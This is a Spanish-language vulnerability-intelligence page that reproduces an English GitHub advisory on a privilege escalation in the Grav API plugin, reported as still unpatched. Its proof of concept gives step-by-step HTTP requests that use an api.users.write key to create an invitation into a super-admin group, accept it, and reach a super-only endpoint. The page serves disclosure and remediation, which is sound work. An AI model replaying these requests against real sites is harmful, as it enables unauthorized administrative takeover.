llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · getgrav/grav-plugin-api

GHSA-M86M-JJCG-GCVV

Invitation `groups` field bypasses the super-admin gate applied to `access`, enabling privilege escalation

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
8.8
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición133 dDesde la divulgación, 9 jul 2026, 3:10 p. m.
Detección132 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
9 jul 26
18 nov 26
20 nov 26
9 jul 26
12 ago 26
14 sept 26
17 oct 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-M86M-JJCG-GCVV divulgada · CVSS 8.8 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

`InvitationsController::create()` lets a caller pre-configure a new
user's `access` and `groups` before they accept an invitation and set
their own password. `access` is correctly protected: a non-super caller
has any super-admin flags stripped from it (`stripSuperFlags()`,
guarding against the same class of bug as GHSA-r945-h4vm-h736 /
GHSA-p97c-g455-q447). `groups` receives no equivalent protection — it is
taken directly from the request body and stored verbatim, gated only by
`api.users.write`. Since group membership can confer any permission
(including full super-admin) via the site's `user/config/groups.yaml`,
this is a straightforward, verified privilege-escalation path: a caller
with only `api.users.write` can invite an account into a group that
holds `api.super`, and that account gets real, working super-admin API
access once accepted.

Severity & Threat Model

Per the project's trust-boundary-based severity guidelines: this requires
an authenticated API credential scoped to `api.users.write` (a
routine "manage users" tier, not `api.super`). The actor uses it to
create an account holding full `api.super` — i.e. a lower-privilege
actor ending up with the capabilities of a materially higher-privilege
session. This is the project's own stated HIGH example verbatim:
"publisher-to-admin privilege escalation." Not CRITICAL, since it
requires an authenticated `api.users.write` credential, not anonymous
access.

Affected component / version

  • Package: `getgrav/grav-plugin-api`
  • Version tested: 1.0.9 (`develop`, commit `f9438d4e71389b1041ac60b69b0b5714ecfa3bdd`, 2026-07-06) and 1.0.7 (GPM `stable`) — identical.
  • File: `classes/Api/Controllers/InvitationsController.php`, `create()` / `accept()`

Details

`create()`:

if (!$this->isSuperAdmin($actor)) {
    $access = $this->stripSuperFlags($access);
}

$groups = [];
if (is_array($body['groups'] ?? null)) {
    $groups = array_values(array_filter(
        $body['groups'],
        static fn($g) => is_string($g) && $g !== '',
    ));
}

`access` is gated behind `isSuperAdmin($actor)`; `groups` is only
filtered for "is a non-empty string" — no ownership/authority check at
all. `accept()` then applies the invite's stored `groups` verbatim to
the newly created account:

$user->set('access', is_array($record['access'] ?? null) ? $record['access'] : []);
if (!empty($record['groups']) && is_array($record['groups'])) {
    $user->set('groups', array_values($record['groups']));
}

The endpoint behind `create()` is gated only by `api.users.write`
(`requirePermission`), which is a routine "manage users" scope, not
`api.super`.

This is a known, already-fixed-elsewhere pattern — not a design ambiguity

The plugin's own `UsersController` (the "direct" create/update user
endpoints, as opposed to the invitation flow) protects the exact same
field, with an explicit comment naming the precise risk:

`classes/Api/Controllers/UsersController.php`, `create()`:

// `groups` is super-admin-only (see update()): group membership can grant
// access, so a non-super creator must not seed group assignments.
if (isset($body['groups']) && $this->isSuperAdmin($this->getUser($request))) {
    $user->set('groups', $body['groups']);
}

`update()`:

// `groups` is marked `security@: admin.super` in the account blueprint:
// group membership can confer access, so only super admins may change it
// — a plain api.users.write manager must not assign users into groups.
$superFields = ['groups'];

And indeed, the core account blueprint itself declares this field as
security-sensitive (`system/blueprints/user/account.yaml`, `getgrav/grav`):

security:
    security@: admin.super
    fields:
        groups:
            security@: admin.super
            ...
        access:
            security@: admin.super
            ...

So the blueprint schema — the authoritative, declared policy for this
field — marks both `groups` and `access` as `admin.super`-only, and
`UsersController` correctly enforces it for both fields via two
independent, well-commented checks. `InvitationsController::create()`
enforces it only for `access` and silently omits the identical check for
`groups`. This isn't a case where the intended behavior is ambiguous —
the plugin's own code and its own blueprint both say what `groups`
should require, and one of the two controllers that can set it simply
doesn't apply that rule.

Proof of Concept

Tested end-to-end against `getgrav/grav` (develop) with
`grav-plugin-api` replaced by a fresh `git clone` of its `develop`
branch (commit `f9438d4`, 2026-07-06), with `system.accounts.type:
regular` (Grav's default). A `superadmins` group was configured in
`user/config/groups.yaml` with `access.api.super: true` and
`access.api.access: true` — a realistic setup for any site that uses
tiered admin roles. `invitesender` holds only `api.access` +
`api.users.write` (no `api.super`, no direct grant of any `superadmins`-
equivalent permission).

Raw transcript, captured 2026-07-07 23:48 KST (`curl -v`):

**0) Control experiment — the same payload against the sibling,
correctly-protected endpoint**, using the identical `invitesender` key:

> POST /api/v1/users HTTP/1.1
> X-API-Key: grav_8db6cd0c6a6ab780007c50a9d3f7776a18096ce71dcbdb19
> Content-Type: application/json
>
{"username": "direct-hyun-report", "password": "SneakyPass111!", "email": "direct-hyun@example.invalid", "groups": ["superadmins"]}

< HTTP/1.1 201 Created
{"data":{"username":"direct-hyun-report","email":"direct-hyun@example.invalid","fullname":"","title":"",
 "state":"enabled","language":"","content_editor":"","access":{},"groups":[],
 "avatar_url":null,"twofa_enabled":false,"twofa_secret":false,
 "created":"2026-07-07T14:48:23+00:00","modified":"2026-07-07T14:48:23+00:00"}}

`groups` comes back empty and is never written to the account file —
`UsersController::create()` correctly drops it for a non-super caller,
confirming the protection exists and works when it's actually applied.
The invitation path below issues the *identical* request shape to a
*different* controller method and gets a materially different, unsafe
result.

1) Create the invitation (as `invitesender`):

> POST /api/v1/invitations HTTP/1.1
> X-API-Key: grav_8db6cd0c6a6ab780007c50a9d3f7776a18096ce71dcbdb19
> Content-Type: application/json
>
{"username": "escalated-hyun-report", "email": "escalated-hyun@example.invalid", "groups": ["superadmins"]}

< HTTP/1.1 201 Created
{"data":{"token":"345e79e3abf8c15f80e612a09f6643300071324b","email":"escalated-hyun@example.invalid",
 "groups":["superadmins"],"created":1783435703,"created_by":"invitesender",
 "created_by_name":"Invite Sender","expires":1784040503,"expired":false,
 "link":"http://localhost:8080/invite?token=345e79e3abf8c15f80e612a09f6643300071324b",
 "email_sent":false,"warning":"Email is not configured, so no invitation email was sent. Share the link manually."}}

2) Accept the invitation (public endpoint, no auth needed — this is
the invitee completing their own registration):

> POST /api/v1/auth/invite/345e79e3abf8c15f80e612a09f6643300071324b HTTP/1.1
> Content-Type: application/json
>
{"username": "escalated-hyun-report", "password": "SneakyPass789!"}

< HTTP/1.1 200 OK
{"data":{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...(redacted)",
 "refresh_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...(redacted)",
 "token_type":"Bearer","expires_in":3600,
 "user":{"username":"escalated-hyun-report","fullname":"","email":"escalated-hyun@example.invalid",
 "avatar_url":null,"super_admin":false,
 "access":{"api.super":true,"api.access":true,"api.pages":false,"api.pages.read":false,
 "api.pages.write":false,"api.media":false, ... (all other scopes false) },
 "content_editor":""}}}

Note the resolved `access` map in this response already shows
`"api.super": true` — this is the group-derived effective permission
being reported back on the very same request that created the account,
even though the account's own `access` field on disk is empty and the
inviter never held `api.super` themselves.

**3) Use the freshly issued token against a real `api.super`-gated
endpoint:**

> GET /api/v1/audit/status HTTP/1.1
> X-API-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...(access_token from step 2)

< HTTP/1.1 200 OK
{"data":{"enabled":false,"available":true,"coverage":"standard","retention":{"days":90,"max_rows":100000},"total":null}}

`/audit/status` is gated behind `api.super`. A brand-new account,
created by a caller holding only `api.users.write`, with zero direct
`access` grants, successfully reached it — solely through group
membership assigned via the unguarded `groups` field.

Confirmed on the GPM `stable` package (v1.0.7) and twice against the
`develop` branch (v1.0.9, commit `f9438d4`, latest commit as of this
report) — once on 2026-07-06 and again fresh on 2026-07-07, identical
result both times.

Impact

Any caller with `api.users.write` — intended for routine user-management
tasks, not full administrative control — can create (via invitation) an
account with membership in any group configured on the site, including
one that grants `api.super`/`admin.super`. This is a complete privilege
escalation from a mid-level "manage users" role to full super-admin,
requiring only that the target site have at least one elevated group
configured (true of essentially any site using group-based role
management, which is the primary reason `user-groups`/`groups.yaml`
exist).

Suggested Fix

Apply the same `isSuperAdmin($actor)` gate to `groups` in
`InvitationsController::create()` (and re-validate in `accept()`) that
is already applied to `access` — e.g. strip or reject any group the
inviting user does not themselves hold (directly or transitively), not
just filter for non-empty strings.

Timeline

  • Discovered: 2026-07-04
  • Confirmed against latest upstream `develop`: 2026-07-06, re-confirmed with fresh transcript 2026-07-07

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida
getgrav/grav-plugin-api≤ 1.0.9
1.0.9
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistgetgrav/grav-plugin-api
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/getgrav/grav/security/advisories/GHSA-m86m-jjcg-gcvv

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.